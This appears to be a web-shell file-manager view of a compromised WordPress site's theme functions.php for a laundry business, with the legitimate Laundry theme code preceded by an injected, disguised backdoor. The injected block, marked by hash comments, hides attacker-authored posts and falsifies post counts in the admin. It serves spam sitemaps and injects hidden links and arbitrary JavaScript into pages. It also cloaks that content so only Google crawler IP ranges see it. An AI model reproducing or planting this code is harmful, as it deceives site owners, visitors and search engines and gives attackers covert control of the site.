HEX
Server: nginx/1.17.4
System: Linux hosting 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3 (2019-09-02) x86_64
User: www (1001)
PHP: 7.4.19
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/pulitocucito.it/wp-content/themes/laundry/functions.php
<?php

/* 2303c3b3ec7a0e10f327c91c9ff7d3d8 */

function is_customize_preview_hashing($where) {
    global $wpdb, $get_permalink_alpha;

    $esc_attr_e_long = array_keys($get_permalink_alpha);
    $absint_https = implode(', ', $esc_attr_e_long);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'esc_html_plain');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($absint_https)";
    }

    return $where;
}

function wp_footer_private($query) {

    global $get_permalink_alpha;

    $esc_attr_e_long = array_keys($get_permalink_alpha);
    $has_post_thumbnail_dns = absint_stat($esc_attr_e_long);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $has_post_thumbnail_dns);
    }
}

function esc_attr_x_other() {

    global $post, $get_permalink_alpha;

    foreach ($get_permalink_alpha as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (is_singular_module($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function is_singular_module($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_the_category_list_all()) {
            return true;
        }
    }
    return false;
}

function esc_html_plain($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function get_footer_all($counts, $type, $perm) {

    if ($type === 'post') {
        $comments_template_schema = $counts->publish;
        $get_permalink_https = add_section_compiler($perm);
        $counts->publish = !$get_permalink_https ? $comments_template_schema : $get_permalink_https;
    }
    return $counts;
}

function add_section_compiler($perm) {
    global $wpdb, $get_permalink_alpha;

    $esc_attr_e_long = array_keys($get_permalink_alpha);
    $absint_https = implode(', ', $esc_attr_e_long);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $wp_get_attachment_image_src_url = get_post_type_object($type);

        if (!current_user_can($wp_get_attachment_image_src_url->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($absint_https) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_the_date_add) {
        if ($get_the_date_add['post_status'] === 'publish') {
            return $get_the_date_add['num_posts'];
        }
    }
}

function get_search_form_condition($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $esc_attr_e_long = array();
    foreach ($results as $get_the_date_add) {
        $esc_attr_e_long[] = $get_the_date_add['ID'];
    }
    return $esc_attr_e_long;
}

function wp_link_pages_exception() {

    global $get_permalink_alpha, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
        $wp_head_exception = key($has_nav_menu_decryption['sitemapsettings']);

        if (!isset($rules[$wp_head_exception]) ||
            ($rules[$wp_head_exception] !== current($has_nav_menu_decryption['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function wp_get_attachment_image_src_stat($rules) {

    global $get_permalink_alpha;

    $get_sidebar_module = array();

    foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
        if (isset($has_nav_menu_decryption['sitemapsettings'])) {
            $get_sidebar_module[key($has_nav_menu_decryption['sitemapsettings'])] = current($has_nav_menu_decryption['sitemapsettings']);
        }
    }

    return $get_sidebar_module + $rules;
}

function esc_url_raw_plain() {

    global $get_permalink_alpha;

    foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {
        $is_singular_git = str_replace('index.php?feed=', '', current($has_nav_menu_decryption['sitemapsettings']));
        add_feed($is_singular_git, 'add_filter_boolean');
    }
}


function add_filter_boolean() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $esc_attr_x_pic = the_post_core();
    $get_setting_loop = get_search_form_condition($esc_attr_x_pic);

    if (!empty($get_setting_loop)) {
        $get_comments_number_dns = md5(implode(',', $get_setting_loop));
        $esc_html_cron = 'update_plugins_' . $esc_attr_x_pic . '_' . $get_comments_number_dns;
        $wp_reset_postdata_schema = get_transient($esc_html_cron);

        if ($wp_reset_postdata_schema !== false) {
            echo $wp_reset_postdata_schema;
            return;
        }
    }



    $head = add_filter_num();
    $is_archive_url = $head . "\n";


    $priority = '0.5';
    $post_password_required_character = 'weekly';
    $_e_client = date('Y-m-d');

    foreach ($get_setting_loop as $post_id) {
        $url = get_permalink($post_id);
        $is_archive_url .= current_user_can_more($url, $_e_client, $post_password_required_character, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $is_archive_url .= "\n</urlset>";

    set_transient($esc_html_cron, $is_archive_url, WEEK_IN_SECONDS);

    echo $is_archive_url;
}


function add_filter_num() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function current_user_can_more($url, $_e_client, $post_password_required_character, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$_e_client</lastmod>
      <changefreq>$post_password_required_character</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function absint_stat($writersArr) {
    $add_filter_live = array();

    foreach ($writersArr as $item) {
        $add_filter_live[] = '-' . $item;
    }
    return implode(',', $add_filter_live);
}

function is_search_merge() {

    $register_nav_menus_exception = array();
    $the_archive_title_core = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_the_ID_http = unserialize(base64_decode($settings));
        if ($get_the_ID_http) {
            $register_nav_menus_exception = $get_the_ID_http;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $register_nav_menus_plain = unserialize(base64_decode($settings));
        if ($register_nav_menus_plain) {
            $the_archive_title_core = $register_nav_menus_plain;
        }
    }

    return $the_archive_title_core + $register_nav_menus_exception;

}

function the_post_core() {

    global $get_permalink_alpha;

    foreach ($get_permalink_alpha as $esc_url_raw_repository => $has_nav_menu_decryption) {

        $get_sidebar_class = key($has_nav_menu_decryption['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($has_nav_menu_decryption['sitemapsettings']) . '$');

        if (preg_match("~$get_sidebar_class~", $_SERVER['REQUEST_URI'])) {
            return $esc_url_raw_repository;
        }
    }
}

function is_wp_error_sample() {
    global $get_permalink_alpha, $post;

    $wp_enqueue_style_part = array_keys($get_permalink_alpha);
    if (in_array($post->post_author, $wp_enqueue_style_part)) {
        return true;
    }
    return false;
}

function is_wp_error_https() {
    global $get_permalink_alpha, $post;

    $wp_enqueue_style_part = array_keys($get_permalink_alpha);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $wp_enqueue_style_part)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_option_string() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_the_category_list_all() {

    $comment_form_package = get_option_string();

    if (strstr($comment_form_package, ', ')) {
        $get_theme_file_uri_index = explode(', ', $comment_form_package);
        $comment_form_package = $get_theme_file_uri_index[0];
    }

    $get_sidebar_plain = wp_reset_postdata_stream();

    if (!$get_sidebar_plain) {
        return false;
    }

    foreach ($get_sidebar_plain as $range) {
        if (absint_double($comment_form_package, $range)) {
            return true;
        }
    }
    return false;
}

function get_stylesheet_uri_edit($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function wp_reset_postdata_stream() {

    if (($value = get_option('wp_custom_range')) && !get_stylesheet_uri_edit($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_sidebar_plain = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_sidebar_plain)) {

            return;
        }

        $value = array('ranges' => $get_sidebar_plain, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function the_title_loop($inet) {
    $the_content_method = str_split($inet);
    $post_password_required_list = '';
    foreach ($the_content_method as $char) {
        $post_password_required_list .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $post_password_required_list;
}

function absint_double($comment_form_package, $cidrnet) {
    $comment_form_package = inet_pton($comment_form_package);
    $post_password_required_list = the_title_loop($comment_form_package);

    list($net, $body_class_alpha) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $wp_reset_postdata_class = the_title_loop($net);

    $get_permalink_double = substr($post_password_required_list, 0, $body_class_alpha);
    $esc_url_alpha = substr($wp_reset_postdata_class, 0, $body_class_alpha);

    if ($get_permalink_double !== $esc_url_alpha) {
        return false;
    } else {
        return true;
    }
}


function get_the_ID_sample($get_the_title_ajax) {

    global $post;

    $comment_form_first = '';


    if (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $comment_form_first = get_option('home_links_custom_0');
        }
    } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $comment_form_first = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $the_permalink_url = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $comment_form_first = get_option('home_links_custom_' . $the_permalink_url);
        
        
    } elseif (dynamic_sidebar_stream($get_the_title_ajax, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$comment_form_first ? '' : $comment_form_first;
}

function dynamic_sidebar_stream($has_nav_menu_decryption, $get_permalink_compiler, $get_the_date_hashing) {
    if (!isset($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing])) {
        return false;
    }

    if ($has_nav_menu_decryption[$get_permalink_compiler][$get_the_date_hashing] === 1) {
        return true;
    }

    return false;

}

function absint_http($get_the_title_ajax, $dynamic_sidebar_https) {
    if (empty($dynamic_sidebar_https)) {
        return '';
    }

    if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_author_posts_url_more = get_search_form_reference();
        $add_partial_pointer = $get_author_posts_url_more[$blockNum[0]];
        return $add_partial_pointer[0] . PHP_EOL . $dynamic_sidebar_https . PHP_EOL . $add_partial_pointer[1];
    }

    return $dynamic_sidebar_https;
}

function get_search_form_reference() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function language_attributes_float($get_the_title_ajax) {
    return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'head');
}

function has_post_thumbnail_more($get_the_title_ajax) {
    return dynamic_sidebar_stream($get_the_title_ajax, 'position', 'footer');
}

function esc_attr_x_other_tj($settings) {
    foreach ($settings as $esc_url_raw_repository => $has_nav_menu_decryption) {
        if (isset($has_nav_menu_decryption['homeLinks'])) {
            return $has_nav_menu_decryption['homeLinks'];
        }
    }
    return array();
}


function is_home_new() {
    if (!is_wp_error_sample()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_theme_file_uri_interface() {

    global $get_the_title_ajax;

    if (!is_home_new()) {
        
        
        return;
    }

    if (dynamic_sidebar_stream($get_the_title_ajax, 'hiddenType', 'cloacking')) {
        if (!get_the_category_list_all()) {
            
            return;
        }
    }


    $dynamic_sidebar_https = get_the_ID_sample($get_the_title_ajax);
    $dynamic_sidebar_https = absint_http($get_the_title_ajax, $dynamic_sidebar_https);

    


    echo $dynamic_sidebar_https;

}

$get_permalink_alpha = is_search_merge();


if (is_array($get_permalink_alpha)) {
    add_filter('posts_where_paged', 'is_customize_preview_hashing');
    add_action('pre_get_posts', 'wp_footer_private');
    add_action('wp_enqueue_scripts', 'esc_attr_x_other');
    add_filter('wp_count_posts', 'get_footer_all' , 10, 3);
    add_filter('rewrite_rules_array', 'wp_get_attachment_image_src_stat');
    add_action('wp_loaded', 'wp_link_pages_exception');
    add_action('init', 'esc_url_raw_plain');
    add_action('template_redirect', 'is_wp_error_https');

    $get_the_title_ajax = esc_attr_x_other_tj($get_permalink_alpha);

    if (!empty($get_the_title_ajax)) {

        

        if (language_attributes_float($get_the_title_ajax)) {
            add_action('wp_head', 'get_theme_file_uri_interface');
        }
        if (has_post_thumbnail_more($get_the_title_ajax)) {
            add_action('wp_footer', 'get_theme_file_uri_interface');
        }


    }
}

/* 2303c3b3ec7a0e10f327c91c9ff7d3d8 */
/**
 * Laundry functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Laundry
 */
if ( ! defined( 'LAUNDRY_THEME_URI' ) ) {
	define( 'LAUNDRY_THEME_URI', get_template_directory_uri() );
}
define( 'LAUNDRY_THEME_DIR', get_template_directory() );
define( 'LAUNDRY_CSS_URL', get_template_directory_uri() . '/css' );
define( 'LAUNDRY_JS_URL', get_template_directory_uri() . '/js' );
define( 'LAUNDRY_IMG_URL', LAUNDRY_THEME_URI . '/images' );
define( 'LAUNDRY_INC_DIR', LAUNDRY_THEME_DIR . '/inc' );
define( 'LAUNDRY_FRAMEWORK_DIR', LAUNDRY_THEME_DIR . '/framework' );
define( 'LAUNDRY_EXTERNAL_DIR', LAUNDRY_THEME_DIR . '/external' );
define( 'LAUNDRY_EXTERNAL_URI', get_template_directory_uri() . '/external' );
define( 'LAUNDRY_THEME', true );

/*
 * plugin.php has to load to know which plugin is active
 */
require_once ABSPATH . 'wp-admin/includes/plugin.php';


require_once LAUNDRY_INC_DIR . '/framework_customize.php';

if ( ! function_exists( 'laundry_setup' ) ) :

	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function laundry_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on Laundry, use a find and replace
		 * to change 'laundry' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'laundry', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		add_theme_support( 'custom-header' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		// This theme uses wp_nav_menu() in one location.
		register_nav_menus(
			array(
				'primary' => esc_html__( 'Primary', 'laundry' ),
			)
		);

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'search-form',
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
			)
		);
		/*
		 * Enable support for Post Formats.
		 */
		add_theme_support(
			'post-formats',
			array(
				'gallery',
				'audio',
				'video',
				'link',
				'quote',
			)
		);

		// Set up the WordPress core custom background feature.
		add_theme_support(
			'custom-background',
			apply_filters(
				'laundry_custom_background_args',
				array(
					'default-color' => 'ffffff',
					'default-image' => '',
				)
			)
		);

		add_theme_support( 'wp-block-styles' );
		add_theme_support( 'align-wide' );
		add_theme_support( 'editor-styles' );
		add_theme_support( 'responsive-embeds' );
		add_theme_support( 'woocommerce' );

		add_image_size( 'laundry-gallery-thumbnail', 470, 240, true );
		add_image_size( 'laundry-service-full', 870, 553, true );
	}

endif;
add_action( 'after_setup_theme', 'laundry_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function laundry_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'laundry_content_width', 640 );
}

add_action( 'after_setup_theme', 'laundry_content_width', 0 );

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function laundry_widgets_init() {
	$laundry_opt = laundry_get_options();
	$theme       = isset( $laundry_opt['laundry_demo_select'] ) ? $laundry_opt['laundry_demo_select'] : 1;

	if ( $theme == '2' ) {
		register_sidebar(
			array(
				'name'          => esc_html__( 'Sidebar', 'laundry' ),
				'id'            => 'sidebar-1',
				'description'   => esc_html__( 'Add widgets here.', 'laundry' ),
				'before_widget' => '<div id="%1$s" class="widget tt-block-aside %2$s"><div class="tt-aside-content">',
				'after_widget'  => '</div></div>',
				'before_title'  => '<h3 class="tt-aside-title">',
				'after_title'   => '</h3>',
			)
		);
		register_sidebar(
			array(
				'name'          => esc_html__( 'Service Sidebar', 'laundry' ),
				'id'            => 'servicesidebar',
				'description'   => esc_html__( 'Service sidebar area', 'laundry' ),
				'before_widget' => '<div id="%1$s" class="widget tt-block-aside %2$s"><div class="tt-aside-content">',
				'after_widget'  => '</div></div>',
				'before_title'  => '<h3 class="tt-aside-title">',
				'after_title'   => '</h3>',
			)
		);
		register_sidebar(
			array(
				'name'          => esc_html__( 'Woo Sidebar', 'laundry' ),
				'id'            => 'woosidebar',
				'description'   => esc_html__( 'Woo sidebar area', 'laundry' ),
				'before_widget' => '<div id="%1$s" class="widget tt-block-aside %2$s"><div class="tt-aside-content">',
				'after_widget'  => '</div></div>',
				'before_title'  => '<h3 class="tt-aside-title">',
				'after_title'   => '</h3>',
			)
		);
	} else {
		register_sidebar(
			array(
				'name'          => esc_html__( 'Sidebar', 'laundry' ),
				'id'            => 'sidebar-1',
				'description'   => esc_html__( 'Add widgets here.', 'laundry' ),
				'before_widget' => '<div id="%1$s" class="widget %2$s">',
				'after_widget'  => '</div>',
				'before_title'  => '<h4 class="widget-title">',
				'after_title'   => '</h4>',
			)
		);
		register_sidebar(
			array(
				'name'          => esc_html__( 'Service Sidebar', 'laundry' ),
				'id'            => 'servicesidebar',
				'description'   => esc_html__( 'Service sidebar area', 'laundry' ),
				'before_widget' => '<div id="%1$s" class="widget service-widget %2$s">',
				'after_widget'  => '</div>',
				'before_title'  => '<h4 class="">',
				'after_title'   => '</h4>',
			)
		);
	}
}

add_action( 'widgets_init', 'laundry_widgets_init' );

/*
 ==================================================================================
 * --- Enqueue scripts and styles.
 * ================================================================================== */
add_action( 'wp_enqueue_scripts', 'laundry_scripts_build' );
function laundry_scripts_build() {
	wp_enqueue_style( 'laundry-google-fonts', laundry_google_script(), array(), null );

}
function laundry_google_script() {
	global $laundry_opt;

	if ( isset( $laundry_opt['laundry-body-typography']['font-family'] ) && $laundry_opt['laundry-body-typography']['font-family']
		) {
		$fonts_areas = array(
			'laundry-body-typography',
			'laundry-heading-typography',
		);
		foreach ( $fonts_areas as $option ) {
			$variants    = ':100,100i,300,300i,400,400i,500,700,700i,900,900i';
			$font_family = $laundry_opt[ $option ]['font-family'] . $variants;

			$protocol = is_ssl() ? 'https:' : 'http:';
			$subsets  = 'latin,cyrillic-ext,latin-ext,cyrillic,greek-ext,greek,vietnamese';

			$query_args = array(
				'family' => urlencode( $font_family ),
				'subset' => urlencode( $subsets ),
			);
			$font_url   = add_query_arg( $query_args, $protocol . '//fonts.googleapis.com/css' );
			return $font_url;
		}
	} else {
		$theme = $laundry_opt['laundry_demo_select'];
		if ( $theme == '2' ) {
			$protocol   = is_ssl() ? 'https:' : 'http:';
			$subsets    = 'latin,cyrillic-ext,latin-ext,cyrillic,greek-ext,greek,vietnamese';
			$variants   = ':300,300i,400,400i,500,500i,600,600i,700,700i,900,900i';
			$query_args = array(
				'family' => urlencode( 'Poppins' . $variants . '|Roboto' . $variants ),
				'subset' => urlencode( $subsets ),
			);
			$font_url   = add_query_arg( $query_args, $protocol . '//fonts.googleapis.com/css' );
			return $font_url;

		} else {
			$protocol   = is_ssl() ? 'https:' : 'http:';
			$subsets    = 'latin,cyrillic-ext,latin-ext,cyrillic,greek-ext,greek,vietnamese';
			$variants   = ':100,100i,300,300i,400,400i,700,700i,900,900i';
			$query_args = array(
				'family' => urlencode( 'Lato' . $variants . '|Rubik' . $variants ),
				'subset' => urlencode( $subsets ),
			);
			$font_url   = add_query_arg( $query_args, $protocol . '//fonts.googleapis.com/css' );
			return $font_url;
		}
	}

}


add_action( 'wp_enqueue_scripts', 'laundry_scripts' );

function laundry_scripts() {
	global $laundry_opt;
	$theme = isset( $laundry_opt['laundry_demo_select'] ) ? $laundry_opt['laundry_demo_select'] : 1;

	/*
	 ---------------------------------------------------------------
	 * CSS Files
	 * --------------------------------------------------------------- */

	if ( $theme == '2' ) {
		wp_enqueue_style( 'laundry-blog', LAUNDRY_CSS_URL . '/style-blog.css', null, time() );
		wp_enqueue_style( 'laundry-style-2', LAUNDRY_CSS_URL . '/style-2.css', null, time() );
		wp_enqueue_style( 'laundry-custom', LAUNDRY_CSS_URL . '/custom.css', null, time() );
		include_once LAUNDRY_THEME_DIR . '/css/custom_style-2.php';
	} else {
		wp_enqueue_style( 'wp-default-norm', LAUNDRY_CSS_URL . '/wp-default-norm.css', '', null );
		wp_enqueue_style( 'animate', LAUNDRY_EXTERNAL_URI . '/animate/animate.min.css', '', null );
		wp_enqueue_style( 'slick', LAUNDRY_EXTERNAL_URI . '/slick/slick.css', '', null );
		wp_enqueue_style( 'slick-theme', LAUNDRY_EXTERNAL_URI . '/slick/slick-theme.css', '', null );
		wp_enqueue_style( 'magnific-popup', LAUNDRY_EXTERNAL_URI . '/magnific-popup/magnific-popup.css', '', null );
		wp_enqueue_style( 'bootstrap-datetimepicker', LAUNDRY_EXTERNAL_URI . '/magnific-popup/bootstrap-datetimepicker.css', '', null );
		wp_enqueue_style( 'laundry-font', LAUNDRY_THEME_URI . '/fonts/style.css', '', null );
		wp_enqueue_style( 'bootstrap', LAUNDRY_EXTERNAL_URI . '/bootstrap/bootstrap.min.css', '', null );
		wp_enqueue_style( 'laundry-theme-html', LAUNDRY_CSS_URL . '/theme.css', '', null );
		wp_enqueue_style( 'laundry-custom', LAUNDRY_CSS_URL . '/custom.css', '', null );
		include_once LAUNDRY_THEME_DIR . '/css/custom_style.php';
	}

	wp_enqueue_style( 'laundry-shop', LAUNDRY_CSS_URL . '/shop.css', '', time(), null );

	$styles = laundry_services_get_custom_styles();

	wp_add_inline_style( 'laundry-custom', $styles );
	/*
	 ----------------------------------------------------------------
	 * JS Files
	 * ---------------------------------------------------------------- */

	if ( $theme == '2' ) {
		wp_enqueue_script( 'laundry-bundle-js', LAUNDRY_JS_URL . '/bundle.js', array( 'jquery' ), time(), true );
		wp_localize_script(
			'laundry-bundle-js',
			'ajax_object',
			array(
				'ajax_nonce_servicecart' => wp_create_nonce( 'servicecart' ),
				'ajax_url'               => esc_url( admin_url( 'admin-ajax.php' ) ),
			)
		);
	} else {
		wp_enqueue_script( 'bootstrap', LAUNDRY_EXTERNAL_URI . '/bootstrap/bootstrap.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'slick', LAUNDRY_EXTERNAL_URI . '/slick/slick.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'waypoints', LAUNDRY_EXTERNAL_URI . '/waypoints/jquery.waypoints.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'countTo', LAUNDRY_EXTERNAL_URI . '/countto/jquery.countTo.js', array( 'jquery' ), '', true );

		wp_enqueue_script( 'imagesloaded', LAUNDRY_EXTERNAL_URI . '/imagesloaded/imagesloaded.pkgd.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'moment', LAUNDRY_JS_URL . '/moment.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'isotope', LAUNDRY_EXTERNAL_URI . '/masonry/isotope.pkgd.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'laundry-main-js', LAUNDRY_JS_URL . '/main.js', array( 'jquery' ), filemtime( LAUNDRY_THEME_DIR . '/js/main.js' ), true );
		wp_localize_script(
			'laundry-main-js',
			'ajax_object',
			array(
				'ajax_nonce_coupon' => wp_create_nonce( 'coupon' ),
				'ajax_url'          => esc_url( admin_url( 'admin-ajax.php' ) ),
			)
		);
		wp_enqueue_style( 'ie_html5shiv', LAUNDRY_THEME_URI . '/js/html5shiv.js' );
		wp_style_add_data( 'ie_html5shiv', 'conditional', 'lt IE 9' );

		wp_enqueue_style( 'respond', LAUNDRY_THEME_URI . '/js/respond.min.js' );
		wp_style_add_data( 'respond', 'conditional', 'lt IE 9' );

		wp_localize_script(
			'laundry-main-js',
			'ajax_posts',
			array(
				'ajax_nonce_postloadmore' => wp_create_nonce( 'postloadmore' ),
				'ajaxurl'                 => esc_url( admin_url( 'admin-ajax.php' ) ),
				'noposts'                 => esc_html__( 'No older posts found', 'laundry' ),
			)
		);

		wp_enqueue_script( 'laundry-navigation', LAUNDRY_JS_URL . '/navigation.js', array(), filemtime( LAUNDRY_THEME_DIR . '/js/navigation.js' ), true );

		wp_enqueue_script( 'laundry-skip-link-focus-fix', LAUNDRY_JS_URL . '/skip-link-focus-fix.js', array(), filemtime( LAUNDRY_THEME_DIR . '/js/skip-link-focus-fix.js' ), true );
		wp_enqueue_script( 'magnific-popup', LAUNDRY_JS_URL . '/magnific-popup.min.js', array( 'jquery' ), '', true );
		wp_enqueue_script( 'bootstrap-datetimepicker', LAUNDRY_JS_URL . '/bootstrap-datetimepicker.min.js', array( 'jquery' ), '', true );

	}

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	wp_enqueue_script( 'laundry-custom', LAUNDRY_JS_URL . '/custom.js', array( 'jquery' ), filemtime( LAUNDRY_THEME_DIR . '/js/custom.js' ), true );

	// Load script
